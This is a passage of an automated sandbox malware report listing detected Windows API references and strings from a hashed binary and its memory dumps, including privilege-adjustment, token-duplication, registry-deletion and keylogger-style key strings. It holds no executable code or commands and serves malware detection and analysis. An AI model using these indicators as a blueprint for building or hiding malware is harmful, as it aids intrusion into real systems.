00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")69:T626,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")6a:T11aa,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.GetSystemDirectory" (Indicator: "GetSystemDirectory"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetFileAttributesEx" (Indicator: "GetFileAttributes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") Found reference to API "syscall.procGetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") Found reference to API "syscall.procGetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp")6b:T72b,file/memory contains long string with (Indicator: "GetModuleFileName"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")6c:T12f0,file/memory contains long string with (Indicator: "GetUserName"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "7J&GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp") Found reference to API "%GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000356.00000002.175916.25A00000.00000040.mdmp")6d:T1c36,Found string "[esc]" (Indicator: "[esc]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[tab]" (Indicator: "[tab]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F1]" (Indicator: "[F1]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F2]" (Indicator: "[F2]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F3]" (Indicator: "[F3]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F4]" (Indicator: "[F4]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F5]" (Indicator: "[F5]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F6]" (Indicator: "[F6]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F7]" (Indicator: "[F7]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F8]" (Indicator: "[F8]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F9]" (Indicator: "[F9]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F10]" (Indicator: "[F10]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[numlock]" (Indicator: "[NumLock]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[scrolllock]" (Indicator: "[ScrollLock]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F11]" (Indicator: "[F11]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[F12]" (Indicator: "[F12]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[home]" (Indicator: "[home]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "[end]" (Indicator: "[end]"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")6e:T418,Found registry deletion API: "RegDeleteKey (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry deletion API: "RegDeleteValue (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry deletion API: "RegDeleteKey (in long string)" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry deletion API: "RegDeleteValue (in long string)" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry deletion API: "RegDeleteValueW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp"6f:T59c,file/memory contains long string with (Indicator: "OpenProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000356-00000C2C-1665412502") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000356-00000C2C-1691977183") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")70:T685,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string ":\windows\system32\driverstore\en-us\msmouse.inf_loc" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found string ":\windows\system32\driverstore\en-us\oem13.inf_loc" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found string ":\windows\system32\driverstore\en\oem13.inf_loc" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found string "??\c:\windows\system32\driverstore\en-us\oem13.inf_loc" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found string "??\c:\windows\system32\driverstore\en-us\msmouse.inf_loc" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin.exe" (Indicator: "\Device\"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp")71:T6db,Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")72:T105d,file/memory contains long string with (Indicator: "CopySid"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CopySid"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "IsValidSid"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateSelf"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateToken"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateTokenEx"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthority"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "SetTokenInformation"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 